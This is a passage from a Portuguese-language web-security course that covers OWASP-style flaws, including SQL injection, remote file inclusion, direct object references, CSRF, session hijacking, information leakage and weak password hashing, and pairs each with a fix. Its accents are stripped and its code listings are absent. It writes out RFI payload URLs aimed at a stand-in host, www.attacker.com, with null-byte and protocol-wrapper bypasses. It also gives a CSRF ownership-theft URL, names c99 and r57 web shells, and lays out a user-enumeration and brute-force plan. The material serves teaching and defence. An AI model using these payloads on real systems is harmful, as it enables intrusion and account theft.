O exemplo fornecido foi feito atravs do mtodo GET por Ajax. Porm, em alguns casos os dados so enviados por mtodos POST o que torna impossvel enviar informaes que gerem um Injection simplesmente alterando uma varivel da URL. Para isto, existem duas maneiras de se testar o Injection. A primeira criar um formulrio com os mesmo nomes de campos que o formulrio original e com o mesmo destino. Porm, possvel no servidor verificar se os dados esto foram fornecidos do mesmo servidor ou de um servidor diferente (nunca vi isso em prtica, porm possvel). A outra maneira seria utilizar a ferramenta Web Developer citada anteriormente para converso e manipulao dos campos do formulrio. Assim, possvel converter campos select, campos hidden e campos option em campos do tipo text para que sua manipulao seja direta. No exemplo anterior, se os dados fossem enviados por mtodo POST para o destino, bastaria selecionar o item Convert Select Elements To Text Inputs no menu Forms da barra de ferramentas do Web Developer no Firefox:
Pgina 40
E com isto podemos aplica diretamente os dados do Injection de maneira prtica, simples e livre de qualquer dor de cabea que venhamos a ter, como a validao do endereo de referncia, a falta de dados no formulrio, nome de campos errados, a falta de sesso etc.
Dependendo do Banco de Dados utilizado pela aplicao, alguns recursos permitem a um atacante obter total controle do servidor. Um exemplo disto est na extenso cmd_shell presente nos Banco de Dados MS SQL Server da Microsoft que permite a um atacante executar um comando da Shell do servidor e, com isto, acessar o servidor, criar usurios, enviar e executar arquivos dente outras coisas que varia simplesmente de imaginao para imaginao.
3.2.7 - Concluso
Mais uma vez tanto o conceito da vulnerabilidade quando do mtodo preventivo se baseiam no mesmo aspecto de antes. A falha ocorre quando o programador confia nos dados fornecidos pelo usurio, levando em considerao que nenhuma entrada ser mal intencionada, indo completamente contra a terminologia ensinada, de que Toda entrada mal intencionada at que se provem o contrrio. Com relao preveno, mais simples que isso impossvel. Basta permitir que o usurio fornea apenas o que ele precisa fornecer, qualquer coisa diferente disto seria dito como ataque.
Pgina 41
3.3.1 Exemplo
Como exemplo, vamos criar um mini-sistema que utiliza os recursos das funes visando produtividade. Ele consiste no arquivo principal, em um arquivo de cabealho, um arquivo de rodap e arquivos que representam o contedo. A aparncia do exemplo como segue:
O contedo foi gerado utilizando a ferramenta Loren Ipsum [http://pt.lipsum.com/ ] j bastante conhecida entre os WebDesigners, entretanto isto no vem ao caso. O fundamental a forma com que o site foi construdo. Portanto, vejamos o seu arquivo principal:
Pgina 43
possvel perceber que se utilizou em abundancia as funes include_once e include em busca de produtividade. Na forma com que o sistema est escrito, se for necessrio adicionar qualquer item novo ao menu ou alterar alguma coisa em seu rodap, basta modificar os arquivos menu.php ou rodap.php. O interessante para um atacante est no fato da pgina de contedo ser fornecida como um parmetro para o arquivo principal atravs da varivel http-get pagina. O que muitos programadores no sabem (ou simplesmente ignoram) que as funes include e famlia so bem mais extensivas do que eles imaginam. Uma das funcionalidades est no fato de os arquivos poderem estar ou no no servidor local, ou seja, pode -se fazer a incluso e execuo de arquivos em outros servidores. No caso do PHP, a equipe que desenvolve tem plena conscincia dos riscos que a m utilizao desta classe de funes pode causar. Para isto, o seguinte alerta de segurana esta disponvel na documentao oficial do PHP para estas funes:
Como dito, se o arquivo remoto tiver cdigo PHP os mesmos sero executados pelo servidor local. O grande problema de segurana que, da forma que o sistema esta desenvolvido, um atacante consegue manipular qual arquivo o usurio ser passado para a funo include().
Pgina 44
Comparando isto com o principio de segurana, o fato de o programador no seguir a filosofia de que toda entrada mal intencionada at que se provem o contrrio deixa o sistema vulnervel e susceptvel a um ataque. No exemplo dado, possvel notar que existem trs arquivos principais: home.php, histrico.php e contato.php. Eles so acessados atravs das seguintes URLs: http://localhost/AtaquesWeb/rfi/?pagina=home http://localhost/AtaquesWeb/rfi/?pagina=historico http://localhost/AtaquesWeb/rfi/?pagina=contato Isto porque o cdigo concatena a varivel pagina com o sufixo .php e em seguida repassa o resultado para a funo include(). Caso exista um arquivo http://www.attacker.com/phpinfo.txt com o seguinte contedo:
E o mesmo for passado como parmetro para o sistema vulnervel atravs da seguinte URL: http://localhost/AtaquesWeb/rfi/?pagina=http://www.attacker.com/phpinfo.txt O resultado seria o seguinte:
Ocorreu um erro na execuo do script. Isto porque antes de fazer a incluso do arquivo phpinfo.txt o mesmo foi concatenado com o sufixo .php, resultado no arquivo phpinfo.txt.php. Existem trs maneiras de se resolver este impasse. A primeira seria renomear o arquivo phpinfo.txt para phpinfo.php, porm, existe o risco de o arquivo ser executado no servidor do atacante (caso o mesmo esteja configurado para isto) ao invs do servidor da vtima. A Curso de Extenso Tecnolgica de Segurana em Web Pgina 45
segunda maneira seria a utilizao do smbolo de interrogao (?) ao final do nome do arquivo, para que seja acessado o seguinte arquivo no servidor da vtima: http://www.attacker.com/phpinfo.txt?.php O smbolo de interrogao (?) utilizado para separar o caminho do arquivo de suas variveis. Como o arquivo possui a extenso txt, ele no ser executado, ignorando ento o restante (.php) do caminho, resultando na execuo do arquivo no servidor local.
Outra maneira de burlar o sufixo .php inserido pelo cdigo atravs da insero do caractere nulo (%00), pois o mesmo indica o final de uma cadeira de caracteres, portanto o PHP ignorar tudo o que estiver aps ele. http://localhost/AtaquesWeb/rfi/?pagina=http://www.attacker.com/phpinfo.txt%00 No exemplo de ataque, foi utilizado um script que simplesmente executa a funo phpinfo() porm, para um atacante, isto se limita no que a linguagem possui. Com esse tipo de vulnerabilidade possvel enviar e-mails falso, ler e alterar o contedo de arquivos e at mesmo executar comandos no Sistema Operacional. Veja um exemplo de cdigo que executa comandos no Sistema Operacional:
Pgina 46
O cdigo acima simplesmente utiliza a funo passthru() do PHP para executar um dado comando e imprimir o retorno na tela. Semelhante a elas existem diversas outras funes e mtodos interessantes de apresentar e interagir com o usurio. Existem scripts famosos que j possuem dezenas de recursos e funcionalidades como a c99.txt (atualizado recentemente para c100.txt) e o r57.txt, que possuem mecanismo que burlam mtodos padres de proteo como o safe-mode do PHP alm de envio de email, navegao no sistema de arquivos, exploits e backdoor embutidos. Existem diversas tentativas de se evitar esse tipo de ataque, porm muitas delas no possuem sucesso pela falta de conhecimento dos detalhes que a linguagem fornecem. Um exemplo disto est na filtragem dos dados fornecidos, criando assim uma blacklist de contedo, evitando que alguns padres levem ao sucesso em uma tentativa de ataque:
No exemplo acima, feito a filtragem da cadeia de caracteres http:// e ftp://, entretanto, pela documentao oficial, a funo include() acessa diversos protocolos e Wrappers. O exemplo de proteo oferecido pode ser burlando facilmente utilizado os seguintes artifcios: https://www.attacker.com/cmd.txt? ftps://www.attacker.com/cmd.txt%00 ssh2.sftp://www.attacker.com/cmd.txt%00 Servidor SSH \\www.attacker.com\cmd.txt%00 Servidor Samba ou Compartilhamento de Arquivos
Pgina 47
Uma alternativa seria verificar se existe alguma configurao que impea a insero de arquivos remotos. No caso do PHP, existe uma configurao chamada allow_url_fopen que especifica se o PHP ter permisso ou no de acessar arquivos remotamente. Ao habilitar essa configurao (Colocar allow_url_fopen = Off no php.ini), ocorreria o seguinte alerta ao tentar explorar a falha prevista:
Porm mais uma vez, isto apenas gera uma falsa segurana, pois mesmo assim outros recursos podem ser obtidos com a no implementao da segurana diretamente na aplicao. Porm como os recursos no se enquadram em outra classe de vulnerabilidade, os mesmos sero vistos mais adiante na sesso 3.4 (Referncia Direta a Objetos Inseguros).
3.3.2 Soluo
A soluo vivel para o exemplo de cdigo vulnervel seria a criao de uma whitelist ao invs de uma blacklist, permitindo que seja passado como parmetro apenas o que for necessrio. Um exemplo seria a utilizao da seguinte funo:
Pgina 48
Esta funo responsvel por definir quais caracteres so validos em um determinado parmetro. Com isto, bastaria simplesmente utiliz-lo em seu cdigo como segue:
Pgina 49
Em um processo de invaso de um servido Unix (Linux e famlia), esta falha possibilitaria ao atacante acessar o arquivo /etc/passwd que contem informaes das contas. Muitos acreditam que o simples fato de se ter s contas e no s senhas no oferece qualquer risco. Mais isto no o fato. O autor desde material ao fazer o servio de pen-test (Teste de Intruso) em uma aplicao Web, notou uma falha que possibilitava a um atacante saber se uma conta era vlida ou no no sistema. Com isto, fez-se um programa que buscava enumerar as contas utilizando de fora bruta. Aps algumas horas, conseguiu-se o nome de onze (11) contas vlidas e, com as contas bastaria fazer outro ataque de fora-bruta para obter as senhas. Como dicionrio de senha, foi gerado um arquivo com todas as possveis datas em um intervalo (ex: 010170 at 31122007) e, Pgina 50 Curso de Extenso Tecnolgica de Segurana em Web
por incrvel que parea foi possvel obter acesso a quatro das contas. Com isto, possvel demonstra que nunca se deve desvalorizar uma informao, por mais desprezvel que ela seja.
Este cdigo efetua uma consulta filtrando somente os registros cujo dono seja o usurio atual, exibe o resultado da listagem dos carros em uma tabela e para cada item exibe uma opo de deleo. possvel notar uma preocupao com a segurana, pois existe a utilizao da funo do PHP htmlspecialchars() que, como visto quando falamos de XSS, evita que esse tipo de explorao ocorra. possvel notar que ele faz a utilizao do seguinte acesso para efetuar a remoo de um dado registro: Curso de Extenso Tecnolgica de Segurana em Web Pgina 51
http://localhost/AtaquesWeb/owasp4/acao.php?op=deletar&carro=14 Ele acessa um arquivo chamado ao.php passando os parmetro op com o valor deletar e uma varivel carro que seria a possvel identificao do veculo. Vejamos o contedo do arquivo acao.php:
Nota-se neste cdigo que o mesmo no est vulnervel a SQL Injection, pois verificado se o valor que deveria ser numrico realmente consiste unicamente em um valor numrico. Em seguida utilizado este valor para efetuar a remoo do registro do banco de dados. Um atacante teria sucesso em remover qualquer registro da tabela tblcarros, pois no especificado no comando SQL qual o proprietrio do veculo e, por mais que na tela de listagem s existam registro do usurio, possvel montar uma requisio especificando qualquer identificador: http://localhost/AtaquesWeb/owasp4/acao.php?op=deletar&carro=1 http://localhost/AtaquesWeb/owasp4/acao.php?op=deletar&carro=2 http://localhost/AtaquesWeb/owasp4/acao.php?op=deletar&carro=3 ... http://localhost/AtaquesWeb/owasp4/acao.php?op=deletar&carro=n Se o objetivo fosse limpar todos os registros do Banco de Dados, seria simples desenvolver uma ferramenta que executasse um ciclo (loop) e removesse registro por registro.
Pgina 52
3.4.3 Soluo
A soluo para este tipo de falha , como em qualquer outra, no confiar nos dados fornecidos pelo usurio. No exemplo fornecido, o seguinte cdigo inibe esse tipo de ataque:
Como visto no cdigo, juntamente com o comando SQL fornecido o cdigo do usurio que est (ou pelo menos deveria estar) exercendo a funo de remoo do registro. Na soluo simplesmente levamos em considerao que toda entrada mal intencionada at que se provem o contrrio.
Pgina 53
Pgina 54
Agora possvel alterar o proprietrio de um carro e tambm fornecer um caminho (url) de uma foto ao fazer o cadastro de um novo veculo. Para a alterao do proprietrio no formulrio, temos o seguinte cdigo:
Ento para alterar um proprietrio de um veculo, o seguinte modelo de requisio enviado para o servidor: acao.php?op=troca_dono&carro=[id do carro]&novo_dono=[id do novo dono] Vejamos o contedo da operao troca_dono do arquivo acao.php:
Pgina 55
Repare que a alterao feita prevenindo-se de SQL Injection (OWASP #2) e de Referncia Indireta a Objetos Inseguros (OWASP #4) portanto o mesmo aparenta seguro. O problema est no no fato de a requisio ter sido feito utilizando o usurio proprietrio do carro, mas sim se foi realmente o usurio quem fez. Se o usurio Maycon Maia deseja obter (roubar) o carro de cdigo quatro (4) que pertence a um usurio Daniel da Silva, basta ele cadastrar um carro e definir o seguinte como caminho da figura de exibio: http://localhost/AtaquesWeb/owasp4/acao.php?op=troca_dono&carro=4&novo_dono=2 Onde quatro o cdigo do veculo e dois o seu prprio cdigo de usurio. O resultado para a listagem de veculos seria o seguinte:
Pgina 56
Repare que para o veculo do usurio Maycon Maia no apareceu a imagem de exibio, vejamos no HTML da pgina o que esta inserido:
possvel ver atravs do inspector do FireBug que o cadastro foi feito como o atacante (Maycon) previu. Agora basta ele esperar o usurio Daniel acessar a listagem de veculo que a requisio ser enviada para o servidor com suas credenciais e a troca ser efetuada e a listagem de veculos ficar da seguinte forma: Curso de Extenso Tecnolgica de Segurana em Web Pgina 57
Ou seja, o veculo de cdigo 4 foi alterado para o usurio Maycon pelo usurio Daniel de maneira inconsciente.
2.5.3 Soluo
A primeira coisa fazer para prover uma soluo seria no deixar qualquer vulnerabilidade de XSS em sua aplicao, pois como dito, bem provvel que um atacante consiga explorar uma falha de XSRF atravs de uma vulnerabilidade de XSS. Com relao ao exemplo, mesmo a utilizao da funo addslashes() no deixaria a aplicao livre da vulnerabilidade de XSRF. Para isto, a OWASP recomenda desenvolver um controle prprio de tokens, ou seja, no depender exclusivamente do cookie do usurio para garantir a autenticidade. Uma alternativa seria gerar um valor aleatrio e armazen-lo em um campo hidden juntamente com o formulrio de troca de proprietrio. Esse campo seria enviado junto da solicitao de alterao de proprietrio e seria validado com o valor original em sesso para garantir que realmente foi uma solicitao requerida pelo usurio.
Pgina 58
Pgina 59
possvel notar a preocupao com SQL Injection atravs da utilizao da funo addslashes() do PHP. Contato, o programador fornece ao usurio mais informaes que ele precisa. Se um usurio digitar um usurio e uma senha, e algum dos dois estiver errado, a aplicao exibe qual dos dois est errado, ou seja, se ele no encontrou o usurio especificado ou se a senha fornecida esta incorreta. Ai que temos o vazamento de informao. Um atacante hbil facilmente ver o possvel vetor de ataque: um brute-force. Porm para brute-force precisa-se de dicionrios com usurios e senhas (combolist). Se formos pegar os 200 sobrenomes mais comuns da lngua portuguesa e prefixarmos cada um deles com uma letra do alfabeto (aalves, balves, calves, dalves ...), teramos exatamente 5.200 possveis usurios. Se para senha utilizssemos todos os possveis aniversrios DDMMAA desde 01/01/1960 at 31/12/2008, teramos aproximadamente 17.520 senhas possveis. Se um atacante necessitasse de fazer um brute-force puro utilizando todos os possveis usurios com todas as possveis senhas, o mesmo teria que enviar mais de 91 milhes de requisies para o servidor (5.200 * 17.520 = 91.104.000). Levando em considerao que cada requisio demorasse aproximadamente 1 segundo (isso ainda rpido), levaria nada mais nada menos do que um pouco menos de 3 anos para terminar todos as possibilidades. Porm, atravs da descoberta do vazamento de informao, um atacante divide o ataque. Inicialmente ele desenvolve um programa em sua linguagem preferida que efetue as requisies com todos os usurios, se na resposta ele encontra algo como Usurio Invlido ele simplesmente descarta o usurio e passa para o prximo. Com isto, ele consegue enumerar possveis usurios do sistema. E isto ele faria em menos de 1h30 (5.200 com uma requisio por segundo dura aproximadamente 1 hora e 27 minutos). Se com isto ele encontrar, por exemplo, 5 (cinco) usurios validos, ao fazer o brute-force com as senhas, ele demoraria um pouco mais de 24 horas (5 * 17.520 = 87600 tentativas. Com uma tentativa por segundo leva aproximadamente 24h e 8 minutos).
Pgina 60
possvel notar o nome de dois campos. Alm disto, possvel saber que no existe qualquer padro de nomenclatura, ou seja, frequentemente v-se tabelas com prefixo tbl, tab_ etc. Alm de campos com prefixo int, str, usu_ etc pra representar seu tipo. Com isto possvel saber auxiliar um ataque de brute-force caso no exista ou no se tenha permisso ao INFORMATION_SCHEMA.
Soluo
No existe uma soluo objetiva para as vulnerabilidades de Vazamento de Informao. Uma alternativa seria a boa prtica de desenvolvimento seguro, de maneira a ficar adaptado aos possveis furos que um atacante tiraria proveito, podendo assim evit-los. Uma alternativa (recomendada pela OWASP) seria utilizar ferramentas de auditoria como WebScarab da OWASP, que fora suas aplicaes a gerarem erros, podendo assim estabiliz-lo antes que um atacante o encontre e tire proveito. No caso do PHP, atravs da diretiva error_reporting no php.ini possvel definir quais erros e alertas sero enviadas para o usurio. Para no exibir qualquer erro ao usurio basta alterar o valor da varivel error_reporting no php.ini como segue: error_reporting ~E_ALL
Pgina 61
Neste exemplo possvel perceber a verificao de autenticao pela varivel de sesso logado. Este tipo de cdigo deveria ser repetido em todas as pginas e, quando um usurio tentar acessar qualquer uma das pginas sem estar devidamente autenticado seria redirecionado para a pgina de login. A sesso consiste em uma relao entre o cliente (navegador) e o servidor atravs dos cookies. Quando o usurio efetua a autenticao, o servidor envia no cabealho http um parmetro Set-Cookie, informando-o qual o cookie de autenticao gerado. Ento, a cada nova requisio do cliente, enviado no cabealho http um parmetro cookie contendo o valor obtido, fazendo com que o servidor assimile a requisio ao cliente autenticado. Utilizando uma falha de Cross-Site-Scripting possvel enviando o valor do cookie, acessvel atravs da varivel document.cookie, para outro servidor. Este servidor pode simplesmente armazen-la para um atacante sequestrar a sesso do usurio, porm tendo o risco da sesso
Pgina 62
no existir mais no intervalo de tempo, ou poderia escrever um script que faria automaticamente as requisies necessrias. Essas requisies poderiam fazer diversos envios ao servidor utilizando o cookie passado como parmetro, de maneira a efetuar as operaes com as credenciais do usurio. Um exemplo de cdigo que captura o cookie enviado pelo usurio pode ser visto abaixo:
Com isto, bastaria explorar uma falha de Cross-Site-Scripting de maneira que o navegador execute o seguinte script Javascript:
Esta uma das diversas maneiras que temos de chamar um script em outro servidor. Alm disto, podemos utilizar tags iframe, utilizar Ajax, redirecionar a pgina fazendo com que nosso cdigo retorne para a pgina original, etc. Alm das falhas de XSS, o valor do cookie pode ser obtido atravs de ataques rede local. Um sniffer instalado em uma mquina juntamente com um ataque de man-in-the-middle (MItM) pode ser extremamente til a um atacante que deseja obter o cookie de alguma sesso autenticada.
3.7.2 Soluo
Uma possvel soluo seria, ao criar a sesso do usurio, associar o IP que a criou junto da sesso. Com isto, basta a cada acesso fazer uma checagem se o endereo que esta tentando acessar alguns recursos est utilizando um cookie realmente criado por ele.
Pgina 63
Um exemplo de cdigo que faa esse tipo de verificao pode ser visto abaixo:
Note que o cdigo leva em considerao que, ao se criar uma nova sesso, deve-se salvar o IP que foi utilizado, para que seja feita a comparao a cada requisio. Portanto, esta soluo possui dois problemas notveis: (1) se o ataque partir da mesma rede da vtima, ou seja, se tanto o atacante quanto a vitima estejam na mesma rede interna e o servidor estiver na rede externa, ambos (atacante e vtima) teria o mesmo IP externo para o servidor. (2) Existe um vetor de ataque para Sequestro de Sesso (Session Hijacking) que se chama Fixao de Sesso (Session Fixation). Esta tcnica consiste em definir a sesso da vtima antes me smo dela ter uma sesso criada. No exemplo, a sesso existiria, porm no existiriam as variveis que definiriam a autenticao. Quando o usurio autenticar, a mesma sesso ser utilizada para definir as variveis e o IP estaria associado com o IP do atacante (quem criou a sesso). Apesar de existir a possibilidade de sequestro de sesso, a falha em si no est no sesso, mas sim na vulnerabilidade de Cross-Site-Scripting que permitiria ao atacante obter o cookie de autenticao. Outra possvel soluo est em, a cada requisio, criar valores aleatrios (tokens) associados a qualquer campo de formulrio e, a cada requisio, validar se o token foi o mesmo enviado. Porm, se o atacante criar um worm e o usurio no interagir muito com o sistema, seria possvel obter o valor do token da pgina e submeter o ataque antes que o mesmo mude. Para evitar qualquer maneira de Sequestro de Sesso, existe um parmetro de cookie chamado HttpOnly. Este parmetro diz para cliente aceitar os cookies normalmente, porm sem os repassar para a estrutura JavaScript, de maneira a impedir a existncia da varivel document.cookie.
Pgina 65
necessrio ter conhecimento de uma senha (tanto original quanto criptografada) e, utilizandose dela, atualiza-se a senha da vtima para ela e passado algum tempo restaura-se para a original. Neste perodo de espera, basta acessar a conta da vtima utilizando a senha que se tem o conhecimento.
Neste caso a senha deve ser armazenada em forma de seu hash e, em momento algum, a senha original armazenada, tornando impossvel de obt-la. A forma com que a criptografia esta sendo utilizada considerado incompleto, pois para o mesmo seria necessrio uma poltica de segurana que proba aos usurios do sistema de utilizarem senhas fceis o que contenham padres.
Pgina 67
Existem diversos sistemas e portais que armazenam milhares de possveis senhas e seus possveis hash. Alguns deles so: http://www.milw0rm.com/cracker/ http://www.md5crack.com/ http://www.hashchecker.com/ Um projeto para se dar destaque o RainbowCrack (http://project-rainbowcrack.com/). Ele consiste na utilizao da tcnica de algoritmo chamada Time-memory Tradeoff. Para se ter uma idia, utilizando-se uma mquina com uma placa GeForce 9800 GTX+ e a tcnica de bruteforce, possvel testar 350 milhes de senhas (texto puro) por segundo. Utilizando o mesmo hardware, porm o RainbowCrack na verso 1.3 possvel testar 62.223 milhes de senhas em texto puro por segundo. O projeto RainbowCrack possui um canal no IRC onde existem BOTNets que esto vinculado a um bancos de dados de hash que lendas dizem ter dados na grande de TeraBytes. O canal chama-se #RainbowCrack e esta no servidor irc.plain-text.info. Para testes, possvel ver na figura abaixo uma consulta ao BotNet apelidado C4P0 pelo hash MD5 e8d95a51f3af4a3b134bf6bb680a213a. A resposta fornecida em menos de 1 segundo.
3.8.5 Soluo
Uma possvel soluo seria criar uma poltica de segurana rgida. Entretanto, no se pode confiar que, mesmo aps o critrio estabelecido, o usurio venha a seguir as regras estabelecidas. Se forar a aplicao a somente aceitar senhas de acordo com o critrio estabelecido pela poltica de segurana, estaramos tambm auxiliando a um atacante que deseja efetuar um brute-force na aplicao. Outra possvel soluo seria aplicar a funo de hash mais de uma vez, ou at mesmo utilizar mais de uma funo de validao. Porm, alguns especialistas dizem que este mtodo tambm reduzir o nmero de possibilidades em um ataque de fora bruta. Uma alternativa altamente recomendada seria a utilizao de salt no processo de codificao. A utilizao de salt consiste em concatenar a senha original com uma constante randmica, de maneira a dificultar qualquer tentativa de descoberta da senha atravs da utilizao de ataques de dicionrio ou fora-bruta no hash.
Pgina 68
3.9.1 Soluo
Para se assegurar que ter uma comunicao segura, utilize SSL para todo o trfego que transmite informaes sigilosas como senhas, nmeros de cartes, etc. Caso utilize sesso, para evitar o sequestro da mesma, utilize SSL em todo o trafego da rede. Assegure-se que a infra-estrutura da rede no permita ataques em camadas inferiores a sua aplicao. Isto possvel atravs da configurao adequada de switch de rede e da definio de endereos ARP estaticamente.
Pgina 69
Comumente, a nica proteo para uma URL no mostrar o link para usurios no autorizados. No entanto, um motivado, hbil ou apenas um sortudo atacante pode ser capaz de achar e acessar estas pginas, executar funes e visualizar dados. Segurana por obscuridade no suficiente para proteger dados e funes sensveis em uma aplicao. Verificaes de controles de acesso devem ser executadas antes de permitir uma solicitao a uma funo sensvel, na qual garante que somente o usurio autorizado acesse a respectiva funo. O principal mtodo de ataque para esta vulnerabilidade chamado de navegao forada (forced browsing), na qual envolve tcnicas de adivinhao de links (guessing) e fora bruta (brute force) para achar pginas desprotegidas. comum que aplicaes utilizem cdigos de controle de acesso por toda a aplicao, resultando em um modelo complexo que dificulta a compreenso para desenvolvedores e especialistas em segurana. Esta complexidade torna provvel a ocorrncia de erros e algumas pginas no sero validadas, deixando a aplicao vulnervel. Alguns exemplos destas falhas incluem: URLS escondidas e especiais, mostradas apenas para administradores ou usurios privilegiados na camada de apresentao, porm acessvel a todos os usurios caso tenham conhecimento que esta URL existe, como /admin/adduser.php ou /approveTransfer.do. Estas so particularmente comuns em cdigos de menus. Aplicaes geralmente permitem acesso a arquivos escondidos, como arquivos XML estticos ou relatrios gerados por sistemas, confiando toda segurana na obscuridade, escondendo-os. Cdigos que foram uma poltica de controle de acesso desatualizada ou insuficiente. Por exemplo, imagine que /approveTransfer.do foi disponibilizado uma vez para todos usurios, mas desde que os controles da SOX foram adotados, ele supostamente s pode ser acessvel por usurios aprovadores. Uma possvel correo seria no mostrar a URL para usurios no autorizados, no entanto o controle de acesso ainda no estaria implementado na requisio para esta pgina.
Pgina 70
3.10.1 Soluo
Tendo o tempo para planejar a autorizao criando uma matriz para mapear as regras e as funes da aplicao o passo primordial para alcanar a proteo contra acessos no autorizados. Aplicaes web devem garantir controle de acesso em cada URL e funes de negcio. No suficiente colocar o controle de acesso na camada de apresentao e deixar a regra de negcio desprotegida. Tambm no suficiente verificar uma vez o usurio autorizado e no verificar novamente nos passos seguintes. De outra forma, um atacante pode simplesmente burlar o passo onde a autorizao verificada e forjar o valor do parmetro necessrio e continuar no passo seguinte. Habilitar controle de acesso na URL necessita de um planejamento cuidadoso. Dentre as consideraes mais importantes podemos destacar: Garanta que a matriz do controle de acesso parte do negcio, da arquitetura e do design da aplicao; Garanta que todas URLs e funes de negcio so protegidas por um mecanismo de controle de acesso efetivo que verifique as funes e direitos do usurio antes que qualquer processamento ocorra. Certifique-se que este processo realizado em todos os passos do fluxo e no apenas no passo inicial de um processo, pois pode haver vrios passos a serem verificados; Realize um teste de invaso (penetration test) antes do cdigo entrar em produo a fim de garantir que a aplicao no poder ser utilizada de m f por um atacante motivado ou com conhecimentos avanados; Preste muita ateno em arquivos de includes/bibliotecas, especialmente se eles possuem extenses executveis como .php. Sempre que possvel, devem ser mantidos fora da raiz web. Devem ser verificados se no esto sendo acessados diretamente, por exemplo, verificando por uma constante que pode somente ser criada atravs de uma biblioteca do chamador; No suponha que usurios no estaro atentos acessar URLs ou APIs escondidas ou especiais. Sempre se assegure que aes com privilgios altos e administrativos estaro protegidos; Bloqueie acesso a todos os tipos de arquivos que a sua aplicao no deva executar. Este filtro deve seguir a abordagem accept known good na qual apenas so permitidos tipos de arquivos que a aplicao deva executar, como por exemplo .html .pdf, .php. Isto ir bloquear qualquer tentativa de acesso a arquivos de log, arquivos XML, entre outros, aos quais se espera nunca serem executados diretamente; Mantenha o antivrus e as correes de segurana atualizados para componentes como processadores XML, processadores de texto, processadores de imagem, entre outros que manipulam arquivos fornecidos por usurios.
Pgina 71
4. Referncias
OWASP (http://www.owasp.org) o site principal sobre segurana de aplicaes web. O site da OWASP hospeda diversos projetos, fruns, blogs, apresentaes, ferramentas e artigos. A OWASP organiza duas grandes conferncias de segurana por ano e mais de 80 captulos locais. Os seguintes projetos da OWASP so mais comuns de serem utilizados: OWASP Guide to Building Secure Web Applications OWASP Testing Guide OWASP Code Review Project (em desenvolvimento) OWASP PHP Project (em desenvolvimento) OWASP Java Project OWASP .NET Project
Pgina 72